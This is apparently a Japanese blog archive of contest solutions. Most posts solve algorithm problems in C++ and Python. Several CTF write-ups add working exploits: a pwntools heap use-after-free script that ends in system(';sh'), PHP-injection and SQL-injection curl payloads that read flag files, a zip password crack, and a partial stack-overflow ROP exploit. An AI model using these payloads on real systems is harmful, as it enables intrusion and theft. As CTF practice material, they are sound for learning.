TopCoder SRM 711 Div1 Easy: PowerEquation

,

Div 1/2共に荒れた回。

私の提出よりもっと簡潔な提出もあった。

solution

$a \le \sqrt{n}$なら愚直に。$a \gt \sqrt{n}$なら$a = c$かつ$1 \le b = d \le n$となる。時間/空間共に$O(\sqrt{n})$。

$a = 1$のときは例外として処理。 $p \ge 2$として、$p = a^b$となる自然数$a, b$が$a = p \land b = 1$以外に存在しないような$p$を非累乗数と呼ぶことにする。 非累乗数$p \le n$に対し$a = p^e \land c = p^f$として$p, e, f$を動かせば有効な組$(a, c)$を尽くせ、特に$e, f \le \log_a{n}$と十分小さい。 このような$(a, c)$に対し有効な組$(b, d)$の個数は$gcd(e, f)$を使って$O(1)$で求まる。

ただし$p$を$n$まで動かすと間に合わない。 そこで$p \gt \sqrt{n}$なら常に$a = c = p$となることを使ってまとめる。 区間$(\sqrt{n}, n]$中の非累乗数の数を$k$とすると、それらから見つかる組$(a, b, c, d)$の数は$kn$となる。

implementation

検算にはHaskellが最強

>>> let n = 10 in length $ do { a <- [1..n]; c <- [1..n]; b <- [1..n]; d <- [1..n]; guard (a^b == c^d) }
222
#include <bits/stdc++.h>
#define repeat(i,n) for (int i = 0; (i) < (n); ++(i))
#define repeat_from(i,m,n) for (int i = (m); (i) < (n); ++(i))
typedef long long ll;
using namespace std;
class PowerEquation { public: int count(int n); };
template <typename T> T gcd(T a, T b) { while (a) { b %= a; swap(a, b); } return b; }
template <typename T> T lcm(T a, T b) { return (a * b) / gcd(a,b); }

constexpr int mod = 1e9+7;
int PowerEquation::count(int n) {
    int sqrt_n = ceil(sqrt(n));
    // perfect powers
    vector<int> is_perfect_power(sqrt_n+1);
    int large_perfect_power = 0;
    is_perfect_power[0] = true;
    is_perfect_power[1] = true;
    repeat_from (a,2,sqrt_n+1) if (not is_perfect_power[a]) {
        ll a_k = a*a;
        for (; a_k <= sqrt_n; a_k *= a) {
            is_perfect_power[a_k] = true;
        }
        for (; a_k <= n; a_k *= a) {
            large_perfect_power += 1;
        }
    }
    // count
    ll result = 0;
    // // for a = c = 1
    result += n *(ll) n % mod;
    // // small not-perfect-power numbers
    repeat (p,sqrt_n+1) if (not is_perfect_power[p]) {
        int log_a = 1;
        for (ll a = p; a <= n; a *= p, ++ log_a) {
            int log_c = 1;
            for (ll c = p; c <= n; c *= p, ++ log_c) {
                int d = gcd(log_a, log_c);
                result += n / max(log_a/d, log_c/d);
            }
        }
    }
    result %= mod;
    // // large not-perfect-power numbers
    result += ((n - sqrt_n) - large_perfect_power) *(ll) n % mod;
    result %= mod;
    return result;
}

AtCoder Grand Contest 013: D - Piling Up

,

http://agc013.contest.atcoder.jp/tasks/agc013_d

solution

状態遷移の経路の数でなくてその出力の数を数えるという点が難しい。出力に関するこの言及を上手く状態の言葉に落とす。DP。$O(NM)$。

ある出力を生む経路は複数存在する。経路の集合をその出力の等しさで割って同値類を作り、特にその代表元を上手く選びたい。 経路の初期状態での赤い積み木の数が最小となるようなものをそのそのような代表元とすると上手くいく。 特にそのような場合、経路中で赤い積み木の数が$0$になるような時刻が存在することが示せる。 ここから逆に、単純な経路の数のDPをして、経路中で一度以上赤い積み木の数が$0$になるような経路の総数を数えればこれはちょうど代表元の数を数えることに等しい。 これは$O(NM)$のDPなので解けた。

implementation

#include <cstdio>
#include <vector>
#include <array>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
#define repeat_from(i,m,n) for (int i = (m); (i) < int(n); ++(i))
using ll = long long;
using namespace std;

constexpr int mod = 1e9+7;
int main() {
    int n, m; scanf("%d%d", &n, &m);
    vector<array<ll, 2> > cur(n+1); // (the current number of R, whether it has ever been 0) -> the number of paths
    vector<array<ll, 2> > prv(n+1);
    cur[0][true] = 1;
    repeat_from (i,1,n+1) cur[i][false] = 1;
    while (m --) {
        prv.swap(cur);
        repeat (i,n+1) repeat (p,2) cur[i][p] = 0;
        repeat (i,n+1) {
            repeat (p,2) {
                if (i >= 1) {
                    bool q = i == 1 ? true : p;
                    cur[i-1][q] += prv[i][p]; // R R
                    cur[i][q] += prv[i][p]; // R B
                }
                if (i <= n-1) {
                    cur[i+1][p] += prv[i][p]; // B B
                    cur[i][p] += prv[i][p]; // B R
                }
            }
        }
        cur[0][ true] += cur[0][false];
        cur[0][false] = 0;
        repeat (i,n+1) repeat (p,2) cur[i][p] %= mod;
    }
    ll result = 0;
    repeat (i,n+1) result += cur[i][true];
    result %= mod;
    printf("%lld\n", result);
    return 0;
}

Google Code Jam 2017 Round 1A: C. Play the Dragon

,

https://code.google.com/codejam/contest/5304486/dashboard#s=p2

solution

Buf/Debufの回数を全探索。task並列化して計算資源で殴る。$O(A_k/D + \sqrt{H_k})$。

命令の使い方はDebuf $\to$ Buf $\to$ Attackの順で、適宜Cureを差し込むのが最適。 倒すのにBuf + Attackが何回必要かはBufの回数を総当たり。ただし上限は$\sqrt{H_k}$回でよい。これはほぼ無視できる。 Debufの上限は$A_k/D$回である。これは無視できない。

無視できないとはいえ$A_k/D \le 10^9$なので、間に合わないこともない。 定数倍高速化をきちんとやれば間に合うだろうし、並列化すれば確実。

例として、並列化なしで手元実行:

real    13m41.437s
user    13m37.268s
sys     0m0.572s

-fopenmpを付けてAWS c4.8xlarge上(36論理コア)で実行:

real    0m35.823s
user    15m46.604s
sys     0m0.352s

implementation

#include <cstdio>
#include <vector>
#include <tuple>
#include <cmath>
#include <omp.h>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
using ll = long long;
using namespace std;
template <class T> inline void setmin(T & a, T const & b) { a = min(a, b); }

constexpr ll infll = ll(1e18)+9;
ll solve(ll hd, ll ad, ll hk, ll ak, ll b, ll d) {
    ll turns_to_kill = infll; { // if no cure / debuf are required, this value is the result
        int buf_count_limit = sqrt(hk) + 100;
        repeat (buf, buf_count_limit) {
            ll buffed_ad = ad + buf * b; // Buf
            setmin(turns_to_kill, buf + (hk + buffed_ad-1) / buffed_ad); // Attack
        }
    }
    ll result = infll;
    int debuf_count_limit = d == 0 ? 0 : ak / d + 3;
    ll turns_to_debuf = 0;
    ll hd_after_debuf = hd;
    repeat (debuf, debuf_count_limit+1) {
        ll debuffed_ak = ak - debuf * d;
        if (debuffed_ak <= 0) {
            setmin(result, turns_to_debuf + turns_to_kill);
            break;
        }
        ll initial_turns_to_cure = (hd_after_debuf - 1) / debuffed_ak;
        ll turns_to_cure = (hd - 1) / debuffed_ak - 1;
        if ((turns_to_kill - 1) <= initial_turns_to_cure) {
            setmin(result, turns_to_debuf + turns_to_kill);
        } else if (turns_to_cure >= 1) {
            ll remaining_turns_to_kill = turns_to_kill - initial_turns_to_cure;
            ll cure_count = ((remaining_turns_to_kill - 1) + turns_to_cure - 1) / turns_to_cure;
            setmin(result, turns_to_debuf + turns_to_kill + cure_count);
        }
        ll next_debuffed_ak = max<ll>(0, debuffed_ak - d);
        if (hd_after_debuf <= next_debuffed_ak) {
            hd_after_debuf = hd - debuffed_ak; // Cure
            turns_to_debuf += 1;
            if (hd_after_debuf <= next_debuffed_ak) break;
        }
        hd_after_debuf -= next_debuffed_ak; // Debuf
        turns_to_debuf += 1;
    }
    return result;
}

int main() {
    int t; scanf("%d", &t);
    vector<tuple<int, int, int, int, int, int> > query(t);
    repeat (x,t) {
        int hd, ad, hk, ak, b, d; scanf("%d%d%d%d%d%d", &hd, &ad, &hk, &ak, &b, &d);
        query[x] = make_tuple(hd, ad, hk, ak, b, d);
    }
    vector<ll> result(t);
#pragma omp parallel for schedule(dynamic)
    repeat (x,t) {
        int hd, ad, hk, ak, b, d; tie(hd, ad, hk, ak, b, d) = query[x];
        result[x] = solve(hd, ad, hk, ak, b, d);
        fprintf(stderr, "Case #%d: %lld\n", x+1, result[x]);
    }
    repeat (x,t) {
        printf("Case #%d: ", x+1);
        if (result[x] == infll) {
            printf("IMPOSSIBLE\n");
        } else {
            printf("%lld\n", result[x]);
        }
    }
    return 0;
}

Google Code Jam 2017 Round 1A: B. Ratatouille

,

https://code.google.com/codejam/contest/5304486/dashboard#s=p1

問題文が難しすぎる。嫌い。

problem

$N$種類の食材がそれぞれ$P$パッケージずつあり、それぞれ$Q_{i,j}$グラム含む。 ratatouilleを$1$個作るのには食材$i$がそれぞれ$0.9R_i \sim 1.1R_i$グラム必要である。 $N$種類の食材からそれぞれ$1$パッケージずつ選び、整数$k$を決め、食材を過不足なく使って$k$個のratatouilleを消費すれば、$1$個のkitができる。 作るkitの数を最大化せよ。 ratatouilleの数ではないことに注意。

solution

区間に直して整列して見ていく。$O(NP \log {NP})$。

各$Q_{i,j}$から、$k \in [L, R)$と$k$個のratatouilleを作るのに$Q_{i,j}$を使えることが同値になるように区間$[L_{i,j}, R_{i,j})$を作る。 $L_{i,j}$を食材$i$の追加クエリ、$R_{i,j}$を食材$i$の削除クエリとして見て、これらをその値の順に見ていく。 個数$k$を増やしていきながら処理していって、全ての食材が同時にひとつ以上使えるならば貪欲に使えばよい。

implementation

#include <cstdio>
#include <vector>
#include <algorithm>
#include <queue>
#include <tuple>
#include <cassert>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
#define whole(f,x,...) ([&](decltype((x)) whole) { return (f)(begin(whole), end(whole), ## __VA_ARGS__); })(x)
using namespace std;
template <typename X, typename T> auto vectors(X x, T a) { return vector<T>(x, a); }
template <typename X, typename Y, typename Z, typename... Zs> auto vectors(X x, Y y, Z z, Zs... zs) { auto cont = vectors(y, z, zs...); return vector<decltype(cont)>(x, cont); }
template <class T> using reversed_priority_queue = priority_queue<T, vector<T>, greater<T> >;
int solve(int n, int p, vector<int> const & required, vector<vector<int> > const & quantity) {
    auto low = vectors(n, p, int());
    auto high = vectors(n, p, int()); // [l, r]
    repeat (i,n) {
        repeat (j,p) {
            const int r = required[i];
            const int q = quantity[i][j];
            int & lo = low[i][j];
            int & hi = high[i][j];
            lo = (10*q + 11*r-1) / (11*r);
            hi = 10*q / ( 9*r);
            if (lo <= hi) {
                constexpr double eps = 1e-8;
                assert (0.9*r*lo < eps + q and q < eps + 1.1*r*lo);
                assert (0.9*r*hi < eps + q and q < eps + 1.1*r*hi);
                assert (not (0.9*r*(lo-1) < eps + q and q < eps + 1.1*r*(lo-1)));
                assert (not (0.9*r*(hi+1) < eps + q and q < eps + 1.1*r*(hi+1)));
            }
        }
    }
    reversed_priority_queue<tuple<int, bool, int> > que;
    repeat (i,n) {
        repeat (j,p) {
            if (low[i][j] <= high[i][j]) {
                que.emplace(low[i][j], false, i);
                que.emplace(high[i][j], true, i);
            }
        }
    }
    vector<int> used(n);
    vector<int> remaining(n);
    int result = 0;
    while (not que.empty()) {
        int cur_time; bool is_pop; int i; tie(cur_time, is_pop, i) = que.top(); que.pop();
        if (is_pop) {
            if (used[i]) {
                -- used[i];
            } else {
                assert (remaining[i]);
                -- remaining[i];
            }
        } else {
            ++ remaining[i];
            if (remaining[i] == 1) {
                if (*whole(min_element, remaining) >= 1) {
                    repeat (j,n) remaining[j] -= 1;
                    repeat (j,n) used[j] += 1;
                    result += 1;
                }
            }
        }
    }
    return result;
}
int main() {
    int t; scanf("%d", &t);
    repeat (x,t) {
        int n, p; scanf("%d%d", &n, &p);
        vector<int> r(n); repeat (i,n) scanf("%d", &r[i]);
        auto q = vectors(n, p, int()); repeat (i,n) repeat (j,p) scanf("%d", &q[i][j]);
        int result = solve(n, p, r, q);
        printf("Case #%d: %d\n", x+1, result);
    }
    return 0;
}

Google Code Jam 2017 Round 1A: A. Alphabet Cake

,

https://code.google.com/codejam/contest/5304486/dashboard#s=p0

面白い問題。

solution

横に伸ばしてから縦に伸ばす。$O(HW)$。

図から読みとってほしい:

????A??B?      AAAAAABBB      AAAAAABBB
?????????  ->  ?????????  ->  AAAAAABBB
???C???D?      CCCCDDDDD      CCCCDDDDD
?????????      ?????????      CCCCDDDDD

implementation

#!/usr/bin/env python3
def solve(h, w, f):
    for y in range(h):
        c = None
        for x in range(w):
            if f[y][x] != '?':
                c = f[y][x]
                break
        if c is None:
            f[y] = None
            continue
        for x in range(w):
            if f[y][x] == '?':
                f[y][x] = c
            else:
                c = f[y][x]
    for y in range(h-1):
        if f[y+1] is None and f[y] is not None:
            f[y+1] = list(f[y])
    for y in reversed(range(h-1)):
        if f[y] is None and f[y+1] is not None:
            f[y] = list(f[y+1])
    return f
t = int(input())
for x in range(t):
    h, w = map(int, input().split())
    f = [ list(input()) for _ in range(h) ]
    print('Case #{}:\n{}'.format(x+1, '\n'.join(map(''.join, solve(h, w, f)))))

BCTF 2017: monkey

,

solution

諸々のファイルが渡されるが、ぐぐるとos.systemがあると分かるので終わり。

$ echo 'os.system("cat /home/js/flag")' | nc 202.112.51.248 2333
js> os.system("cat /home/js/flag")
bctf{319c1b47f786c7b99a757da74fd38408}
js> 0

BCTF 2017: babyuse

,

それほど難しくはないはずだが、無限に時間がかかってしまった。

problem

$ ./babyuse
 _                                         
|_)_. _ _o _ ._  |  _  _. _| _  /\ ._ _    
| (_|_>_>|(_)| | |_(/_(_|(_|_> /--\| | |\/ 
                                        /  

Menu:
1. Buy a Gun
2. Select a Gun
3. List Guns
4. Rename a Gun
5. Use a Gun
6. Drop a Gun
7. Exit
1
Notice: You can only have up to 4 guns.
Choose a gun to add:
1. QSZ92
2. QBZ95
1
Lenth of name:
4
Input name:
foo
succeed.
Menu:
1. Buy a Gun
2. Select a Gun
3. List Guns
4. Rename a Gun
5. Use a Gun
6. Drop a Gun
7. Exit
5
Select gun foo
1. Shoot
2. Reload
3. Info
4. Main menu
1
BIU~
1
BIU~
1
BIU~
1
BIU~

solution

use-after-free bugがある。 double-freeはできない。 PIE。

  • heapの位置は、heap chunk内のmember fd bkのあたりから取る
  • これを使って構造体のvtableを読んでtextの位置を割り出す
  • GOT中のstdinとかからlibcを割り出す
  • vtableを書き換えてsystem("hoge;sh");

implementation

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
import itertools
from pwn import * # https://pypi.python.org/pypi/pwntools
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('host', nargs='?', default='202.112.51.247')
parser.add_argument('port', nargs='?', default=3456, type=int)
parser.add_argument('--log-level', default='debug')
parser.add_argument('--binary', default='babyuse')
parser.add_argument('--libc', default='libc.so')
parser.add_argument('--token')
args = parser.parse_args()
context.log_level = args.log_level
elf = ELF(args.binary)
libc = ELF(args.libc)

p = remote(args.host, args.port)
if args.token:
    p.recvuntil('Token:')
    p.sendline(args.token)

# buy gun 0
p.recvuntil('Menu:')
p.sendline('1') # Buy a Gun
p.recvuntil('Choose a gun to add:')
p.sendline('1')
p.recvuntil('Lenth of name:')
p.sendline('4')
p.recvuntil('Input name:')
p.sendline('AAAA')
# buy gun 1
p.recvuntil('Menu:')
p.sendline('1') # Buy a Gun
p.recvuntil('Choose a gun to add:')
p.sendline('1')
p.recvuntil('Lenth of name:')
p.sendline('4')
p.recvuntil('Input name:')
p.sendline('BBBB')
# select gun 1
p.recvuntil('Menu:')
p.sendline('2') # Select a Gun
p.recvuntil('Select a gun')
p.sendline('1')
# drop gun 0
p.recvuntil('Menu:')
p.sendline('6') # Drop a Gun
p.recvuntil('Choose a gun to delete:')
p.sendline('0')
# drop gun 1
p.recvuntil('Menu:')
p.sendline('6') # Drop a Gun
p.recvuntil('Choose a gun to delete:')
p.sendline('1')
# use the gun
p.recvuntil('Menu:')
p.sendline('5') # Use a Gun
p.recvuntil('Select gun ')
heap_addr = u32(p.recvn(4)) # read heap addr from a link of a chunk header
p.sendline('4') # Main menu
log.info('heap: %#x', heap_addr)

# buy gun 0
p.recvuntil('Menu:')
p.sendline('1') # Buy a Gun
p.recvuntil('Choose a gun to add:')
p.sendline('1')
p.recvuntil('Lenth of name:')
p.sendline('4')
p.recvuntil('Input name:')
p.sendline('AAAA')
# buy gun 1
p.recvuntil('Menu:')
p.sendline('1') # Buy a Gun
p.recvuntil('Choose a gun to add:')
p.sendline('1')
p.recvuntil('Lenth of name:')
p.sendline('4')
p.recvuntil('Input name:')
p.sendline('BBBB')
# buy gun 2
p.recvuntil('Menu:')
p.sendline('1') # Buy a Gun
p.recvuntil('Choose a gun to add:')
p.sendline('1')
p.recvuntil('Lenth of name:')
p.sendline('4')
p.recvuntil('Input name:')
p.sendline('CCCC')
# select gun 0
p.recvuntil('Menu:')
p.sendline('2') # Select a Gun
p.recvuntil('Select a gun')
p.sendline('0')
# drop gun 0
p.recvuntil('Menu:')
p.sendline('6') # Drop a Gun
p.recvuntil('Choose a gun to delete:')
p.sendline('0')
# rename gun 1
p.recvuntil('Menu:')
p.sendline('4') # Drop a Gun
p.recvuntil('Choose a gun to rename:')
p.sendline('1')
p.recvuntil('Lenth of name:')
p.sendline('16') # sizeof(gun_t)
p.recvuntil('Input name:')
p.sendline('AAAA' + p32(heap_addr + 64))
# use the gun
p.recvuntil('Menu:')
p.sendline('5') # Use a Gun
p.recvuntil('Select gun ')
text_addr = u32(p.recvn(4)) # read vtable
p.sendline('4') # Main menu
log.info('text: %#x', text_addr)

# rename gun 1
p.recvuntil('Menu:')
p.sendline('4') # Drop a Gun
p.recvuntil('Choose a gun to rename:')
p.sendline('1')
p.recvuntil('Lenth of name:')
p.sendline('4')
p.recvuntil('Input name:')
p.sendline('BBBB')
# rename gun 1
p.recvuntil('Menu:')
p.sendline('4') # Drop a Gun
p.recvuntil('Choose a gun to rename:')
p.sendline('1')
p.recvuntil('Lenth of name:')
p.sendline('16') # sizeof(gun_t)
p.recvuntil('Input name:')
p.sendline('AAAA' + p32(text_addr + 9040))
# use the gun
p.recvuntil('Menu:')
p.sendline('5') # Use a Gun
p.recvuntil('Select gun ')
libc_addr = u32(p.recvn(4)) # read got
p.sendline('4') # Main menu
log.info('libc: %#x', libc_addr)

# rename gun 1
p.recvuntil('Menu:')
p.sendline('4') # Drop a Gun
p.recvuntil('Choose a gun to rename:')
p.sendline('1')
p.recvuntil('Lenth of name:')
p.sendline('4')
p.recvuntil('Input name:')
p.sendline('BBBB')
# rename gun 1
p.recvuntil('Menu:')
p.sendline('4') # Drop a Gun
p.recvuntil('Choose a gun to rename:')
p.sendline('1')
p.recvuntil('Lenth of name:')
p.sendline('16') # sizeof(gun_t)
p.recvuntil('Input name:')
payload = ''
payload += p32(heap_addr + 36)
payload += p32(heap_addr + 36)
payload += ';sh\0'
payload += p32(libc_addr - 1538048) # system
p.sendline(payload)
# use the gun
p.recvuntil('Menu:')
p.sendline('5') # Use a Gun
p.recvuntil('Select gun ')
p.sendline('1') # Shoot

# done
time.sleep(1)
p.sendline('id')
p.interactive()

FIT-HACK CTF 2017

,

https://ctftime.org/event/451

cryptoはかなりのguessing CTFだった。

flag

$ fcrackzip -u -l 0-4 flag.zip


PASSWORD FOUND!!!!: pw == 1864
fcrackzip -u -l 0-4 flag.zip  5.96s user 5.98s system 6% cpu 3:14.71 total

Sorry

HTMLとしてinjectionできるなあと思っていたらphpとしてinjectionできていた。

$ curl https://sorry.problem.ctf.nw.fit.ac.jp/in.php -F etc=$' <?php\necho `cat /var/tmp/flag`;\n?>'
FIT{fdsa__dasdas_32fa}
FIT{fdsa__dasdas_32fa} <?php
echo `cat /var/tmp/flag`;
?>:[email protected] <br>Saved it thank you!!



Let’s login

SQLi

$ s=9n89_ ; while true ; do for c in `seq 0 9` `alpha` _ ; do echo $s$c ; if curl -s https://login.problem.ctf.nw.fit.ac.jp/login.php -F name=name -F pass="' union select name, pass from user where pass like 'FIT{$s$c%' -- " | grep mes1 ; then s=$s$c ; break ; fi ; done ; done

FIT{9n89_y0u3u_9a811}

simple cipher

普通に逆関数を書くだけ

#!/usr/bin/env python3
import binascii
enc_mes = '0c157e2b7f7b515e075b391f143200080a00050316322b272e0d525017562e73183e3a0d564f6718'
key = 'J2msBeG8'

m = list(binascii.unhexlify(enc_mes))

mes = [ None ] * len(m)
j = 0
for a in range(len(key)):
    i = a
    for b in range(len(m) // len(key)):
        mes[i] = chr(m[j] ^ ord(key[a]))
        j += 1
        i += len(key)
mes = ''.join(mes).rstrip()

print(mes)

Yukicoder No.505 カードの数式2

,

http://yukicoder.me/problems/no/505

case '/': nxt = cur + a[i+1]; break; ってしたまま気付かず提出してWA。 a[i+1] == 0の場合の処理で脳内割り込みがかかったときにそのまま復帰を忘れたのだと思う。

solution

動的計画法。最大値と最小値だけ覚えておけばよい。$O(N)$。

std::setとかで愚直$O(4^N)$しても通るようだ。 制約$N \le 16$より$4^N \le 4.3 \times 10^9$で要素の重複で軽くなる方がstd::setの$O(\log N)$やstd::unordered_setの定数倍より強かったということらしい。

implementation

#include <cstdio>
#include <vector>
#include <limits>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
using ll = long long;
using namespace std;
template <class T> inline void setmax(T & a, T const & b) { a = max(a, b); }
template <class T> inline void setmin(T & a, T const & b) { a = min(a, b); }
int main() {
    int n; scanf("%d", &n);
    vector<int> a(n); repeat (i,n) scanf("%d", &a[i]);
    ll cur_min = a[0];
    ll cur_max = a[0];
    repeat (i,n-1) {
        ll nxt_min = numeric_limits<ll>::max();
        ll nxt_max = numeric_limits<ll>::min();
        for (ll cur : { cur_min, cur_max }) {
            for (char op : "+-*/") {
                if (op == '/' and a[i+1] == 0) continue;
                ll nxt;
                switch (op) {
                    case '+': nxt = cur + a[i+1]; break;
                    case '-': nxt = cur - a[i+1]; break;
                    case '*': nxt = cur * a[i+1]; break;
                    case '/': nxt = cur / a[i+1]; break;
                }
                setmin(nxt_min, nxt);
                setmax(nxt_max, nxt);
            }
        }
        cur_min = nxt_min;
        cur_max = nxt_max;
    }
    printf("%lld\n", cur_max);
    return 0;
}

Yukicoder No.504 ゲーム大会(ランキング)

,

http://yukicoder.me/problems/no/504

tailsさんがperlで使っていた???PATTERN?の退化したものらしい: http://perldoc.perl.org/perlop.html#%3fPATTERN%3f。yukicoderはv5.16.3だから使えるが、手元のv5.22.1では削除されていて動かない。

implementation

bash $32$byte

awk 'NR>1,$0=r+=!!(a?a<$0:a=$0)'

元実装:

#include <stdio.h>
int main() {
    int n; scanf("%d", &n);
    int a; scanf("%d", &a); -- n;
    int rank = 1;
    printf("%d\n", rank);
    while (n --) {
        int b; scanf("%d", &b);
        if (a < b) ++ rank;
        printf("%d\n", rank);
    }
    return 0;
}

Yukicoder No.482 あなたの名は

,

http://yukicoder.me/problems/no/482

overflowでWA。-fsanitize=undefined しててもscanfの中の話は範囲外らしい。

solution

整列するために必要なswapの最小回数を$t$として$(k - t) \ge 0 \land (k - t) \equiv 0 \pmod{2}$が答え。$O(N)$。

最小回数で整列させるのは貪欲にやればよい。 その後余った回数は$2$つずつ消費する。 置換の偶奇性により、その結果$1$つだけ余ってしまうようならどうやっても無理。

implementation

#include <cstdio>
#include <vector>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
using ll = long long;
using namespace std;
int main() {
    int n; ll k; scanf("%d%lld", &n, &k);
    vector<int> d(n); repeat (i,n) { scanf("%d", &d[i]); -- d[i]; }
    vector<int> e(n); repeat (i,n) e[d[i]] = i;
    repeat (i,n) {
        if (d[i] != i) {
            int j = e[i];
            swap(d[i], d[j]);
            e[d[i]] = i;
            e[d[j]] = j;
            k -= 1;
        }
    }
    bool result = k >= 0 and k % 2 == 0;
    printf("%s\n", result ? "YES" : "NO");
    return 0;
}

Yukicoder No.479 頂点は要らない

,

http://yukicoder.me/problems/no/479

グラフの図があり丁寧でよい。

solution

番号の小さい頂点から辺を使い尽くすまで貪欲に全て使い、その後番号の大きい頂点から不必要なら外していく。$O(N + M)$。

$2$進数どうこうというのは、使うか使わないかがbitに対応すると考えれば使った頂点番号を逆順に整列して辞書順最小といいなおせる。 これにより$i$番目を使うのより$\{ j \mid j \lt i \}$の全てを使う方が有利であり、まずは貪欲に使う。 辺を使い尽した後もだいたい同様。

implementation

#include <cstdio>
#include <vector>
#include <algorithm>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
#define repeat_reverse(i,n) for (int i = (n)-1; (i) >= 0; --(i))
#define whole(f,x,...) ([&](decltype((x)) whole) { return (f)(begin(whole), end(whole), ## __VA_ARGS__); })(x)
using namespace std;
int main() {
    // input
    int n, m; scanf("%d%d", &n, &m);
    vector<int> a(m), b(m); repeat (i,m) scanf("%d%d", &a[i], &b[i]);
    // prepare list
    vector<vector<int> > g(n);
    repeat (i,m) {
        g[a[i]].push_back(i);
        g[b[i]].push_back(i);
    }
    // solve
    // // greedy
    vector<bool> result(n);
    vector<int> used(m);
    int count_used = 0;
    repeat (j,n) {
        result[j] = true;
        for (int i : g[j]) {
            if (used[i] == 0) count_used += 1;
            used[i] += 1;
        }
        if (count_used == m) break;
    }
    // // remove unnecessary vertices
    repeat_reverse (j,n) if (result[j]) {
        bool is_removable = true;
        for (int i : g[j]) {
            if (used[i] == 1) is_removable = false;
        }
        if (is_removable) {
            result[j] = false;
            for (int i : g[j]) {
                used[i] -= 1;
            }
        }
    }
    // output
    while (result.size() >= 2 and result.back() == false) result.pop_back();
    whole(reverse, result);
    for (bool p : result) printf("%d", p);
    printf("\n");
    return 0;
}

Yukicoder No.483 マッチ並べ

,

http://yukicoder.me/problems/no/483

非想定解だった。意外だ。

solution

$2$-SAT。$O(N)$あるいは雑に辺を張って$O(N^2)$。

$v_i$を「$i$番目のマッチ棒の頭薬の位置が$(r_{1i}, c_{1i})$」として、$v_0, \dots, v_{n-1}$の制約をCNFとして列挙すればよい。

implementation

#include <cstdio>
#include <vector>
#include <algorithm>
#include <tuple>
#include <cassert>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
#define repeat_from(i,m,n) for (int i = (m); (i) < int(n); ++(i))
using namespace std;

struct strongly_connected_components {
    static pair<int,vector<int> > decompose(vector<vector<int> > const & g) { // adjacent list
        strongly_connected_components scc(g);
        return { scc.k, scc.c };
    }
private:
    int n;
    vector<vector<int> > to, from;
    explicit strongly_connected_components(vector<vector<int> > const & g) : n(g.size()), to(g), from(n) {
        repeat (i,n) for (int j : to[i]) from[j].push_back(i);
        decompose();
    }
    vector<bool> used;
    vector<int> vs;
    void dfs(int i) {
        used[i] = true;
        for (int j : to[i]) if (not used[j]) dfs(j);
        vs.push_back(i);
    }
    int k; // number of scc
    vector<int> c; // i-th vertex in g is in c_i-th vertex in scc-decomposed g
    void rdfs(int i) {
        used[i] = true;
        c[i] = k;
        for (int j : from[i]) if (not used[j]) rdfs(j);
    }
    void decompose() {
        used.clear(); used.resize(n, false);
        repeat (i,n) if (not used[i]) dfs(i);
        used.clear(); used.resize(n, false);
        k = 0;
        c.resize(n);
        reverse(vs.begin(), vs.end());
        for (int i : vs) if (not used[i]) {
            rdfs(i);
            k += 1;
        }
    }
};

vector<bool> twosat(int n, vector<pair<int, int> > const & cnf) {
    // make digraph
    vector<vector<int> > g(2*n);
    auto i = [&](int x) { assert (x != 0 and abs(x) <= n); return x > 0 ? x-1 : n-x-1; };
    for (auto it : cnf) {
        int x, y; tie(x, y) = it; // x or y
        g[i(- x)].push_back(i(y)); // not x implies y
        g[i(- y)].push_back(i(x)); // not y implies x
    }
    // do SCC
    vector<int> component = strongly_connected_components::decompose(g).second;
    vector<bool> valuation(n);
    repeat_from (x,1,n+1) {
        if (component[i(x)] == component[i(- x)]) { // x iff not x
            return vector<bool>(); // unsat
        }
        valuation[x-1] = component[i(x)] > component[i(- x)]; // use components which indices are large
    }
    return valuation;
}

int main() {
    int n; scanf("%d", &n);
    vector<int> y[2] = { vector<int>(n), vector<int>(n) };
    vector<int> x[2] = { vector<int>(n), vector<int>(n) };
    repeat (i,n) scanf("%d%d%d%d", &y[0][i], &x[0][i], &y[1][i], &x[1][i]);
    vector<pair<int, int> > cnf;
    repeat (j,n) repeat (i,j) {
        repeat (p,2) repeat (q,2) {
            if (make_pair(y[p][i], x[p][i]) == make_pair(y[q][j], x[q][j])) {
                int vi = (i+1) * (p ? 1 : -1);
                int vj = (j+1) * (q ? 1 : -1);
                cnf.emplace_back(- vi, - vj);
                cnf.emplace_back(- vj, - vi);
            }
        }
    }
    bool is_sat = not twosat(n, cnf).empty();
    printf("%s\n", is_sat ? "YES" : "NO");
    return 0;
}



ASIS CTF Quals 2017: CRC

,

https://asis-ctf.ir/challenges/

problem

$ nc 69.90.132.40 4002


**********WELCOME TO THE CRC32 CALCULATOR**********

------------------------
 1) Calculate a CRC     
 2) Exit                
------------------------
 Choice: 1
What is the length of your data: 3
Please send me 3 bytes to process: foo
CRC is: 0x8C736521
------------------------
 1) Calculate a CRC     
 2) Exit                
------------------------
 Choice: 

solution

数字の入力と文字列の入力の全てでgetsが使われている。 数字の入力のoverflowではcanaryに阻まれ、CRC対象の文字列をoverflowさせてもeipは取れない。 しかし後者ではCRCの計算対象へのpointerを書き換えられる(書き込み先は移動させられないが)ので、これを用いてstack上のleakが(CRCの逆計算を経由して)できる。 これを用いてcanaryを割り出しROPする。

implementation

#!/usr/bin/env python2
from pwn import * # https://pypi.python.org/pypi/pwntools
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('host', nargs='?', default='69.90.132.40')
parser.add_argument('port', nargs='?', default=4002, type=int)
parser.add_argument('--log-level', default='debug')
parser.add_argument('--binary', default='crcme')
parser.add_argument('--libc', default='libc6-i386_2.23-0ubuntu7_amd64.so')
parser.add_argument('--process', action='store_true')
args = parser.parse_args()
context.log_level = args.log_level
libc = ELF(args.libc)

gets_plt = 0x8048460
puts_plt = 0x8048470
puts_got = 0x8049fe4
pop_ebp_ret = 0x8048852 # pop ebp ; ret

if args.process:
    p = process(args.binary)
else:
    p = remote(args.host, args.port)

import zlib
def uncrc(value, prefix=''):
    for c in map(chr, range(256)):
        if zlib.crc32(prefix + c) % 0x100000000 == value:
            return c

def crc(length, data):
    p.recvuntil(' Choice: ')
    p.sendline('1') # Calculate a CRC
